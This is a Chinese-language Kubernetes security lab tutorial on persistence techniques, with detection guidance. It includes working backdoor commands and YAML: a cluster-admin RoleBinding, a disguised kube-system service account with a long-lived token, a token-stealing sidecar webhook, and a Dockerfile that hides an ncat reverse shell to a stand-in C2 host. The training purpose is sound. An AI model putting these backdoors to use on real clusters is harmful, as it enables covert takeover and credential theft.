
ATT&CK TA0003 Persistence——攻擊者如何確保即使被發現、被踢出,仍能回到叢集。
Persistence 是 ATT&CK 中技術數量最多的戰術(7 個技術),因為攻擊者必須在多個層面埋下後門才能確保持久存取。與傳統主機上的持久化(crontab、systemd、registry run key)不同,K8s 的持久化發生在 API 物件層面——修改的是 YAML 資源,不是檔案系統。
| 場景 | ATT&CK | 技術 | 攻擊手法 | 隱蔽性 |
|---|---|---|---|---|
| S09 | T1098 | Account Manipulation | 新增 ClusterRoleBinding 給攻擊者 SA | 中 |
| S10 | T1136 | Create Account | 在 kube-system 建立隱藏 SA + cluster-admin | 高 |
| S11 | T1543 | Create/Modify System Process | Mutating Webhook 注入惡意 Sidecar | 很高 |
| S12 | T1525 | Implant Internal Image | 後門映像推入私有 Registry | 很高 |
| S07 | T1053 | Scheduled Task/Job | (共用)CronJob 持久化 | 中 |
| S03 | T1078 | Valid Accounts | (共用)維持竊取的合法帳號 | 高 |
| S02 | T1133 | External Remote Services | (共用)維持外部遠端存取 | 低 |
其中 S07、S03、S02 在前幾天已經介紹過,今天聚焦在 S09–S12 四個專屬 Persistence 的場景。
所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。
開始前請確認以下環境就緒。
# 主機終端
kubectl get pods -n koad -l "koad-scenario in (S09,S10,S11,S12)"
kubectl get sa -n koad attacker-sa
kubectl get sa -n kube-system system-controller
預期結果: Pod 為 Running 狀態,SA 已建立。
如果資源不存在,重新部署:
kubectl apply -f scenarios/persistence/
# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|rbac\|clusterrole\|webhook\|registry"
完成本日實作後,你將能夠:
RBAC 是 Kubernetes 的核心授權機制。攻擊者只要有建立 ClusterRoleBinding 的權限,就能把任何 ServiceAccount 提升為 cluster-admin——這是 K8s 環境中最簡單、最有效的持久化手段。
與傳統 Linux 後門(如 crontab、systemd service)相比,RBAC 竄改有幾個優勢:
先理解 RBAC 的四個核心物件:
ClusterRole ← 定義「能做什麼」(叢集級別)
Role ← 定義「能做什麼」(Namespace 級別)
ClusterRoleBinding ← 綁定「誰」+「ClusterRole」(叢集級別)
RoleBinding ← 綁定「誰」+「Role 或 ClusterRole」(Namespace 級別)
攻擊者的選擇:
| 攻擊方式 | 範圍 | 隱蔽性 | 權限 |
|---|---|---|---|
| ClusterRoleBinding → cluster-admin | 叢集全域 | 低(太明顯) | 最高 |
| RoleBinding → admin(特定 NS) | 單一 NS | 高 | 該 NS 完整權限 |
| ClusterRoleBinding → 自訂 Role | 叢集全域 | 高 | 可精確控制 |
聰明的攻擊者不會直接綁定 cluster-admin(太容易被發現),而是建立一個自訂 ClusterRole,只給「剛好夠用」的權限:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: system-monitoring # 偽裝成監控用途
rules:
- apiGroups: [""]
resources: ["pods/exec"] # 在任意 Pod 執行指令
verbs: ["create"]
- apiGroups: [""]
resources: ["secrets"] # 讀取 Secrets
verbs: ["get", "list"]
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list"]
這條 ClusterRole 看起來像合法的監控需求,但實際上給了攻擊者 pods/exec + 讀取 Secrets 的能力——足以在叢集中為所欲為。
# 1. 建立攻擊者 SA
apiVersion: v1
kind: ServiceAccount
metadata:
name: attacker-sa
namespace: koad
labels:
koad-scenario: S09
mitre-attck: T1098
---
# 2. 綁定 cluster-admin
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: koad-attacker-admin
labels:
koad-scenario: S09
annotations:
description: "Attacker-created binding — escalates attacker-sa to cluster-admin"
subjects:
- kind: ServiceAccount
name: attacker-sa
namespace: koad
roleRef:
kind: ClusterRole
name: cluster-admin # 最高權限
apiGroup: rbac.authorization.k8s.io
以下所有步驟在主機終端執行(模擬攻擊者已取得 kubectl 存取權)。
# 主機終端
kubectl create clusterrolebinding backdoor \
--clusterrole=cluster-admin \
--serviceaccount=koad:attacker-sa
預期結果:
clusterrolebinding.rbac.authorization.k8s.io/backdoor created
一行
kubectl create就建立了一個 cluster-admin 等級的後門——即使原始入侵路徑被修補,攻擊者仍可透過這個 ClusterRoleBinding 保持叢集完整控制權。
Falco 觀察:建立 ClusterRoleBinding 時,K8s Audit Log 會記錄此操作。如果啟用了 Falco k8s_audit plugin,會觸發告警:
[CRITICAL] Create ClusterRoleBinding to cluster-admin (user=system:admin binding=backdoor)

kubectl auth can-i --list --as=system:serviceaccount:koad:attacker-sa | head -3
預期結果:
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
攻擊者現在是 cluster-admin——可以做任何事。

kubectl get clusterrolebindings -l koad-scenario
預期結果:
NAME ROLE AGE
koad-attacker-admin ClusterRole/cluster-admin 39m
koad-overprivileged-binding ClusterRole/cluster-admin 39m
system-controller-binding ClusterRole/cluster-admin 39m
三個 ClusterRoleBinding 都綁定了
cluster-admin——攻擊者建立了多個後門。system-controller-binding的名稱刻意偽裝成系統元件,增加了被發現的難度。

攻擊者在竄改 RBAC 之前,通常會先了解現有的權限配置:
# 列出所有 ClusterRoleBinding 及其 subjects
$ kubectl get clusterrolebindings -o json | \
jq -r '.items[] | "\(.metadata.name)\t\(.roleRef.name)\t\(.subjects // [] | map("\(.kind)/\(.namespace // "cluster")/\(.name)") | join(","))"' | \
column -t -s $'\t'
# 找出所有綁定到 cluster-admin 的 binding
$ kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.roleRef.name == "cluster-admin") |
{name: .metadata.name, subjects: [.subjects[]? | "\(.kind)/\(.name)"]}'
# 找出有 secrets 讀取權限的 ClusterRole
$ kubectl get clusterroles -o json | \
jq '.items[] | select(.rules[]? | .resources[]? == "secrets") | .metadata.name'
即使管理員發現並刪除了攻擊者的 Pod,只要 koad-attacker-admin 這條 ClusterRoleBinding 還在,攻擊者隨時可以用 attacker-sa 的 Token 重新連入叢集。
S09 選擇直接綁定 cluster-admin 而非自訂 ClusterRole,是為了讓學員在 kubectl get clusterrolebindings 中一眼看出異常,建立「先能辨識,再練隱蔽」的學習路徑。YAML 中刻意加上 koad-scenario label 和 description annotation,方便與真實系統元件區分,同時示範攻擊者在實際環境中不會留下的線索。場景使用獨立的 attacker-sa 而非借用現有 SA,是為了完整呈現「建立帳號 → 提權 → 持久化」的完整路徑。
subjects:
- kind: ServiceAccount
name: attacker-sa # 攻擊者自建的 SA,不是系統既有的
namespace: koad # 限制在 koad namespace,降低對靶場的衝擊
roleRef:
kind: ClusterRole
name: cluster-admin # 叢集最高權限——生產環境絕不應該出現手動綁定
apiGroup: rbac.authorization.k8s.io
roleRef 一旦建立就不可修改(K8s API 限制),攻擊者必須刪除再重建才能換綁定目標,這也是 Audit Log 偵測的關鍵特徵。
比起 S09 直接建 ClusterRoleBinding,S10 更進一步——在 kube-system namespace 中建立一個偽裝成系統元件的 ServiceAccount。
kube-system 是 K8s 核心元件所在的 Namespace,管理員通常不會仔細審查裡面的每個 SA。攻擊者利用這個盲點,建立名為 system-controller 的後門 SA。
為什麼 kube-system 是理想的藏身處?
$ kubectl get sa -n kube-system --no-headers | wc -l
35
# 看看裡面都有什麼——大量系統 SA 提供完美掩護
$ kubectl get sa -n kube-system -o name | head -10
serviceaccount/attachdetach-controller
serviceaccount/calico-kube-controllers
serviceaccount/calico-node
serviceaccount/certificate-controller
serviceaccount/clusterrole-aggregation-controller
serviceaccount/coredns
serviceaccount/cronjob-controller
serviceaccount/daemon-set-controller
serviceaccount/default
serviceaccount/deployment-controller
35 個 SA,名稱全部是 xxx-controller 或 xxx-node 的格式。多一個 system-controller 完全不突兀。
K8s 1.24 移除了 SA Token 的自動建立。在 1.24 之前,每個 SA 都會自動產生一個永不過期的 Secret Token。1.24+ 後,需要手動建立:
# 手動建立持久 Token(K8s 1.24+)
apiVersion: v1
kind: Secret
metadata:
name: system-controller-token
namespace: kube-system
annotations:
kubernetes.io/service-account.name: system-controller # 綁定到後門 SA
type: kubernetes.io/service-account-token
或者使用 TokenRequest API 取得短期 Token:
# 建立有效期 1 年的 Token(攻擊者的選擇)
$ kubectl create token system-controller \
-n kube-system \
--duration=8760h
eyJhbGciOiJSUzI1NiIsImtpZCI6...
安全影響: K8s 1.24 的變更讓後門 SA 的維護更困難——攻擊者必須定期重新產生 Token。但使用 Secret 類型的 Token 可以繞過這個限制。
# 1. 在 kube-system 建立偽裝的 SA
apiVersion: v1
kind: ServiceAccount
metadata:
name: system-controller # 看起來像系統元件
namespace: kube-system # 藏在核心 Namespace
labels:
koad-scenario: S10
annotations:
description: "Backdoor SA disguised as system component"
---
# 2. 綁定 cluster-admin
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: system-controller-binding
subjects:
- kind: ServiceAccount
name: system-controller
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
---
# 3. 手動建立持久 Token
apiVersion: v1
kind: Secret
metadata:
name: system-controller-token
namespace: kube-system
annotations:
kubernetes.io/service-account.name: system-controller
type: kubernetes.io/service-account-token
以下所有步驟在主機終端執行。
# 主機終端
kubectl get sa system-controller -n kube-system
預期結果:
NAME SECRETS AGE
system-controller 0 39m
後門 SA 建在
kube-systemnamespace 中,名稱偽裝成系統元件system-controller——管理員很難在眾多系統 SA 中注意到它。

kubectl get secret system-controller-token -n kube-system \
-o jsonpath='{.data.token}' | base64 -d
預期結果:
eyJhbGciOiJSUzI1NiIsImtpZCI6Im...
取得了 JWT 格式的長期 Token。這個 Token 不會自動過期(非 Bound Token),攻擊者可以在任何地方用它存取叢集。

kubectl --token="$TOKEN" get nodes
預期結果:
NAME STATUS ROLES AGE
minikube Ready control-plane 2h
用後門 Token 成功列出節點——持久化完成。即使原始攻擊路徑(如 SSRF)被修補,攻擊者仍然可以用這個 Token 隨時回來。

kubectl --server=https://api-server:6443 \
--token="$TOKEN" \
--insecure-skip-tls-verify \
get pods -A
預期結果:
NAMESPACE NAME READY STATUS RESTARTS AGE
kube-system kube-apiserver-minikube 1/1 Running 0 2h
kube-system etcd-minikube 1/1 Running 0 2h
koad attacker-xxx 1/1 Running 0 1h
...
只要有 Token 和 API Server 位址,攻擊者可以從任何網路位置連入叢集。

# kube-system 中有多少 SA?
$ kubectl get sa -n kube-system --no-headers | wc -l
35
# 哪些是可疑的?(在 KOAD 中有 label 可以過濾)
$ kubectl get sa -n kube-system -o json | \
jq '.items[] | select(.metadata.labels."koad-scenario" != null) | .metadata.name'
"system-controller"
在真實環境中沒有 koad-scenario label 可以過濾,管理員必須逐一比對每個 SA 是否是系統預設建立的。
S10 把後門 SA 放在 kube-system 並命名為 system-controller,是為了展示攻擊者如何利用命名慣例掩護自己——35 個系統 SA 中多一個 xxx-controller 幾乎無法察覺。額外建立 kubernetes.io/service-account-token 類型的 Secret,是為了對比 K8s 1.24+ 預設的 Bound Token(短期、有 audience)與舊版長期 Token 的安全差異,讓學員理解為什麼升級 K8s 版本本身就是一種防禦。
apiVersion: v1
kind: Secret
metadata:
annotations:
kubernetes.io/service-account.name: system-controller # 綁定目標 SA
type: kubernetes.io/service-account-token # 此類型會自動填入 SA 的 JWT Token
這種 Secret 一旦建立,K8s 會自動在 data.token 中填入不過期的 JWT。攻擊者不需要呼叫 TokenRequest API,Token 就靜靜地躺在 Secret 裡等待被取用。
Kubernetes 的 MutatingWebhookConfiguration 可以在 Pod 建立時自動修改 Pod Spec。攻擊者如果控制了一個 Mutating Webhook,就能在每個新建立的 Pod 中自動注入惡意 Sidecar 容器。
這是 Istio、Linkerd 等 Service Mesh 注入 Envoy proxy 的相同機制——只是攻擊者注入的不是 proxy,而是資料竊取工具。

一個完整的惡意 Webhook 配置長這樣:
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
name: pod-logging-injector # 偽裝成日誌注入器
labels:
app: logging-infrastructure
webhooks:
- name: inject.logging.internal
admissionReviewVersions: ["v1"]
sideEffects: None
failurePolicy: Ignore # 失敗時不阻擋 Pod 建立(避免引起注意)
matchPolicy: Equivalent
rules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE"]
resources: ["pods"]
scope: "Namespaced"
namespaceSelector:
matchExpressions:
- key: kubernetes.io/metadata.name
operator: NotIn
values: ["kube-system", "kube-public"] # 避免注入系統 Pod
clientConfig:
service:
name: logging-injector-svc
namespace: logging # 看起來合法的 Namespace
path: /mutate
caBundle: LS0tLS1CRUdJ... # Base64 編碼的 CA 證書
關鍵設計:
failurePolicy: Ignore:Webhook 掛掉時不影響正常 Pod 建立,避免引起注意namespaceSelector:排除系統 Namespace,避免影響叢集穩定性logging-injector:看起來像合法的日誌基礎設施| 特性 | Istio 合法注入 | 惡意 Sidecar 注入 |
|---|---|---|
| Namespace label | istio-injection: enabled |
無條件或偽裝 label |
| 注入的容器 | istio-proxy (Envoy) | 任意惡意容器 |
| 功能 | L7 流量代理 | Token 竊取、資料外洩 |
| failurePolicy | Fail(阻擋不合規 Pod) | Ignore(不引起注意) |
| 來源 | 官方 Helm chart | 攻擊者手動建立 |
S11 示範了一個被注入惡意 Sidecar 的 Pod:
apiVersion: apps/v1
kind: Deployment
metadata:
name: sidecar-injector-demo
namespace: koad
spec:
replicas: 1
selector:
matchLabels:
app: sidecar-demo
template:
metadata:
labels:
app: sidecar-demo
koad-scenario: S11
spec:
containers:
# 正常的主應用
- name: main-app
image: nginx:1.27-alpine
ports:
- containerPort: 80
# 惡意 Sidecar——偽裝成日誌收集器
- name: logging-agent
image: busybox:1.36
command: ["sh", "-c"]
args:
- |
echo "=== KOAD-S11: Malicious Sidecar ==="
echo "This sidecar reads SA tokens and env vars"
while true; do
echo "[$(date)] Sidecar heartbeat — exfil simulation"
# 真正的攻擊:讀取 SA Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
# 真正的攻擊:讀取環境變數(可能包含密碼)
env | grep -i -E "pass|key|secret|token" 2>/dev/null
sleep 300
done
volumeMounts:
- name: sa-token
mountPath: /var/run/secrets/kubernetes.io/serviceaccount
readOnly: true
volumes:
- name: sa-token
projected:
sources:
- serviceAccountToken:
path: token
# 列出所有 MutatingWebhookConfiguration
$ kubectl get mutatingwebhookconfigurations
NAME WEBHOOKS AGE
kyverno-policy-mutating-webhook-cfg 1 1h
kyverno-resource-mutating-webhook-cfg 1 1h
# 檢查是否有可疑的 Webhook
$ kubectl get mutatingwebhookconfigurations -o json | \
jq '.items[] | {name: .metadata.name, webhooks: [.webhooks[].clientConfig.service.name]}'
# 檢查 Pod 是否有多餘的容器
$ kubectl get pods -n koad -o json | \
jq '.items[] | select(.spec.containers | length > 1) |
{pod: .metadata.name, containers: [.spec.containers[].name]}'
如果看到不屬於已知系統(Kyverno、Istio、cert-manager)的 Webhook,就需要深入調查。
S11 選擇 MutatingWebhook 而非直接修改 Deployment,是因為 Webhook 注入具有自動傳播性——攻擊者只需建立一次,所有新 Pod 都會被感染,這是其他持久化手法做不到的。KOAD 用 busybox:1.36 模擬惡意 Sidecar 而非真正的 C2 agent,確保靶場安全的同時保留了完整的攻擊邏輯(讀取 SA Token + 環境變數)。failurePolicy: Ignore 是設計重點——它讓 Webhook 掛掉時不影響正常部署,攻擊者不會因為 C2 斷線而暴露自己。
containers:
- name: logging-agent # 偽裝成日誌收集器,管理員不會起疑
image: busybox:1.36 # 極小映像,不引入額外攻擊工具特徵
volumeMounts:
- name: sa-token
mountPath: /var/run/secrets/kubernetes.io/serviceaccount
readOnly: true # 唯讀掛載 SA Token——這是 Sidecar 的核心目標
Sidecar 與主容器共享同一個 Pod 的 SA Token。如果主容器的 SA 有高權限(如 pods/exec),Sidecar 也能用同樣的 Token 操作叢集。
攻擊者把含有後門的映像推入企業內部的 Registry,取代合法映像。當其他團隊拉取「正常」映像時,實際上執行的是被植入後門的版本。
攻擊鏈:
1. 拉取合法映像:nginx:1.27-alpine
2. 加入後門層:反向 Shell / 資料竊取 / 挖礦
3. 重新 tag:private-registry:5000/nginx:1.27-alpine
4. 推入內部 Registry
5. 受害者拉取「nginx」→ 執行後門
攻擊者使用多階段 Dockerfile,在合法映像上疊加後門層:
# 基於合法的 nginx 映像
FROM nginx:1.27-alpine
# 安裝攻擊工具(看似無害的套件名稱)
RUN apk add --no-cache curl socat nmap-ncat && \
# 清除 APK cache 減少痕跡
rm -rf /var/cache/apk/*
# 加入反向 Shell 腳本
COPY --chmod=755 <<EOF /usr/local/bin/healthcheck.sh
#!/bin/sh
# 偽裝成健康檢查,實際是反向 Shell
while true; do
/usr/bin/ncat -e /bin/sh attacker.c2.server 4444 2>/dev/null
sleep 300
done
EOF
# 修改 entrypoint 同時啟動 nginx 和後門
RUN echo '/usr/local/bin/healthcheck.sh &' >> /docker-entrypoint.d/99-backdoor.sh && \
chmod +x /docker-entrypoint.d/99-backdoor.sh
理解 OCI 映像的層(Layer)架構有助於偵測後門:
docker history nginx:1.27-alpine
IMAGE SIZE COMMENT
abc123 0B CMD ["nginx" ...]
def456 5.2MB # nginx binary
ghi789 7.1MB # base alpine
docker history private-registry:5000/nginx:1.27-alpine
IMAGE SIZE COMMENT
xxx000 4.2KB # backdoor script ← 多了這幾層!
yyy111 12.3MB # curl + socat + ncat ← 明顯異常
abc123 0B CMD ["nginx" ...]
def456 5.2MB # nginx binary
ghi789 7.1MB # base alpine
使用 dive 工具可以逐層檢查映像內容:
$ dive private-registry:5000/nginx:1.27-alpine
# 視覺化每一層添加/修改了哪些檔案
S12 部署了一個未認證的私有 Registry:
apiVersion: apps/v1
kind: Deployment
metadata:
name: private-registry
namespace: koad-registry
spec:
replicas: 1
selector:
matchLabels:
app: registry
template:
metadata:
labels:
app: registry
spec:
containers:
- name: registry
image: registry:2
ports:
- containerPort: 5000
env:
- name: REGISTRY_STORAGE_DELETE_ENABLED
value: "true" # 允許刪除映像(攻擊者替換用)
---
apiVersion: v1
kind: Service
metadata:
name: private-registry
namespace: koad-registry
spec:
type: NodePort
ports:
- port: 5000
nodePort: 30500 # 對外暴露
以下所有步驟在主機終端執行。
# 主機終端
curl -s http://$(minikube ip):30500/v2/_catalog
預期結果:
{"repositories":[]}
Registry 目前是空的——接下來模擬攻擊者推入後門映像。

docker pull nginx:1.27-alpine
預期結果:
1.27-alpine: Pulling from library/nginx
Digest: sha256:6af79ae5...
Status: Downloaded newer image for nginx:1.27-alpine
從 Docker Hub 拉取 nginx 映像到本機——作為被污染映像的基底。
docker tag nginx:1.27-alpine $(minikube ip):30500/nginx:1.27-alpine
預期結果:
(無輸出,tag 已建立)
將合法映像重新標記(tag)為目標 Registry 的位址。下一步推送時,這個映像就會覆蓋 Registry 中的原始映像——所有拉取它的 Pod 都會執行被植入後門的版本。

docker push $(minikube ip):30500/nginx:1.27-alpine
預期結果:
The push refers to repository [192.168.49.2:30500/nginx]
...
1.27-alpine: digest: sha256:xxx size: 1568
受害者拉取時會取得被植入的版本——如果攻擊者在 tag 之前修改了映像(加入後門),所有使用這個 Registry 的服務都會被感染。

latest tag 特別危險latest 是 Docker 的預設 tag,它不指向任何固定版本。攻擊者只要推一個新映像覆蓋 latest,所有使用 image: nginx:latest 的 Deployment 在下次重啟時就會拉到後門版本。
# 危險
image: nginx:latest
# 安全
image: nginx:1.27-alpine
# 最安全——使用 digest
image: nginx@sha256:6af79ae5de407283dcea8b00d5c37ace95441fd58a8b1d2aa1ed93f5511bb18c
S12 部署了一個未認證的私有 Registry(無 TLS、無 auth),是為了展示企業內部 Registry 常見的配置錯誤——很多團隊假設內網是安全的,不設認證。REGISTRY_STORAGE_DELETE_ENABLED: "true" 允許刪除映像,讓攻擊者可以刪掉原始映像再推入後門版本,實作完美替換。場景使用 NodePort 30500 暴露 Registry,模擬生產環境中 Registry 被意外暴露到外部網路的情況。
env:
- name: REGISTRY_STORAGE_DELETE_ENABLED
value: "true" # 允許 DELETE API——攻擊者可刪除原始映像再替換
spec:
type: NodePort
ports:
- port: 5000
nodePort: 30500 # 對外暴露,無需認證即可 push/pull
沒有 TLS 意味著映像傳輸是明文的(可被中間人攻擊),沒有認證意味著任何能存取 30500 連接埠的人都能推入映像。這兩個缺陷加在一起,讓供應鏈攻擊變得極為簡單。
| 技術 | 隱蔽性 | 持久性 | 範圍 | 偵測難度 | 所需權限 |
|---|---|---|---|---|---|
| S09 RBAC 竄改 | 中 | 高(需手動刪除) | 叢集 | 中(audit log) | RBAC 管理權限 |
| S10 後門 SA | 高 | 高 | 叢集 | 高(混入系統 SA) | kube-system 寫入 |
| S11 Sidecar 注入 | 很高 | 很高(自動感染新 Pod) | 叢集 | 很高(Webhook 不常被審計) | admissionregistration 權限 |
| S12 映像植入 | 很高 | 很高(供應鏈感染) | 跨叢集 | 高(需映像簽章驗證) | Registry 推送權限 |
| S07 CronJob | 低 | 中(可排程) | Namespace | 低(kubectl get cronjobs) | Pod 建立權限 |
TeamTNT 是最知名的 K8s/容器攻擊組織之一,他們的持久化手法包括:
clusterrole-aggregation-controller-admin 等偽裝名稱的 ClusterRoleBindingkube-system 中建立名為 kube-controller 的 CronJob,定時下載挖礦程式pause:3.2(偽裝成 K8s 系統映像)Unit 42 發現的 Hildegard 惡意軟體針對 K8s 叢集的攻擊:
首個已知的針對 Windows 容器的惡意軟體:
Persistence 是攻擊者「回來」的保險——一旦埋好後門,即使初始存取管道被關閉也無妨:

| 場景 | 偵測工具 | 偵測方法 | 偵測規則 |
|---|---|---|---|
| S09 RBAC 竄改 | K8s Audit Log | verb=create resource=clusterrolebindings |
任何非管理員建立 CRB |
| S10 後門 SA | K8s Audit Log | kube-system 中新增 SA / Secret | SA 數量基線比對 |
| S11 Sidecar | Kyverno | 監控 MutatingWebhookConfiguration 變更 | Webhook 白名單 |
| S12 映像植入 | Cosign / Trivy | 映像簽章驗證 + 漏洞掃描 | 未簽章映像告警 |
Falco 偵測缺口: S09 和 S10 的偵測需要 k8s_audit 規則(非 syscall 規則)。KOAD 的
custom-rules.yaml已準備好這些規則,但需要 Falco 的 k8saudit plugin 才能啟用。在 Day 25 會詳細說明配置方式。
| 考點 | 本日內容 | 權重 |
|---|---|---|
| RBAC 安全 | ClusterRoleBinding 濫用與偵測 | Cluster Hardening 15% |
| ServiceAccount | 後門 SA + Token 持久化 | Cluster Hardening 15% |
| Admission Webhook | MutatingWebhook 安全風險 | Supply Chain 20% |
| 映像安全 | Registry 安全 + tag 管理 | Supply Chain 20% |
完成攻擊演練後,清理攻擊過程中建立的後門資源:
# 主機終端
# 刪除 S09 建立的後門 ClusterRoleBinding
kubectl delete clusterrolebinding backdoor --ignore-not-found
# S10 和 S12 的靶場資源保留不動(它們是場景的一部分)
# 如需完全重設:
# kubectl delete -f scenarios/persistence/
# kubectl apply -f scenarios/persistence/
注意:不要刪除
system-controller-binding和koad-attacker-admin——它們是 KOAD 靶場的一部分,Day 7 防禦篇會用到。
| 問題 | 原因 | 解法 |
|---|---|---|
kubectl create clusterrolebinding 被拒絕 |
目前使用者沒有 RBAC 管理權限 | 用 minikube kubectl -- 或確認 kubeconfig 指向正確的 context |
S10 的 system-controller-token Secret 中沒有 token 欄位 |
K8s 版本差異,Secret 尚未被 controller 填入 token | 等幾秒後重新查詢,或改用 kubectl create token system-controller -n kube-system |
docker push 到私有 Registry 失敗:http: server gave HTTP response to HTTPS client |
Docker 預設要求 HTTPS,但 KOAD Registry 用 HTTP | 在 Docker daemon.json 加入 "insecure-registries": ["<minikube-ip>:30500"] 並重啟 Docker |
| S12 Registry Pod 一直 Pending | koad-registry Namespace 不存在或資源不足 | 確認 kubectl get ns koad-registry 存在,檢查 Node 可用資源 |
curl http://$(minikube ip):30500/v2/_catalog 無回應 |
Registry Service 尚未就緒或 NodePort 被防火牆阻擋 | 確認 Pod Running 狀態:kubectl get pod -n koad-registry,嘗試 minikube service private-registry -n koad-registry --url |
--as 參數驗證攻擊者 SA 的權限等級(S09)--as 驗證提權結果K8s 持久化的核心特徵:攻擊不在 OS 層面,而在 API 物件層面。傳統的 Host-based 偵測(如 OSSEC)看不到 RBAC 變更和 Webhook 配置——你需要 K8s Audit Log。
明天 Day 7 防禦篇:Audit Log 偵測 RBAC 異動 + Cosign 映像簽章 + Webhook 審計。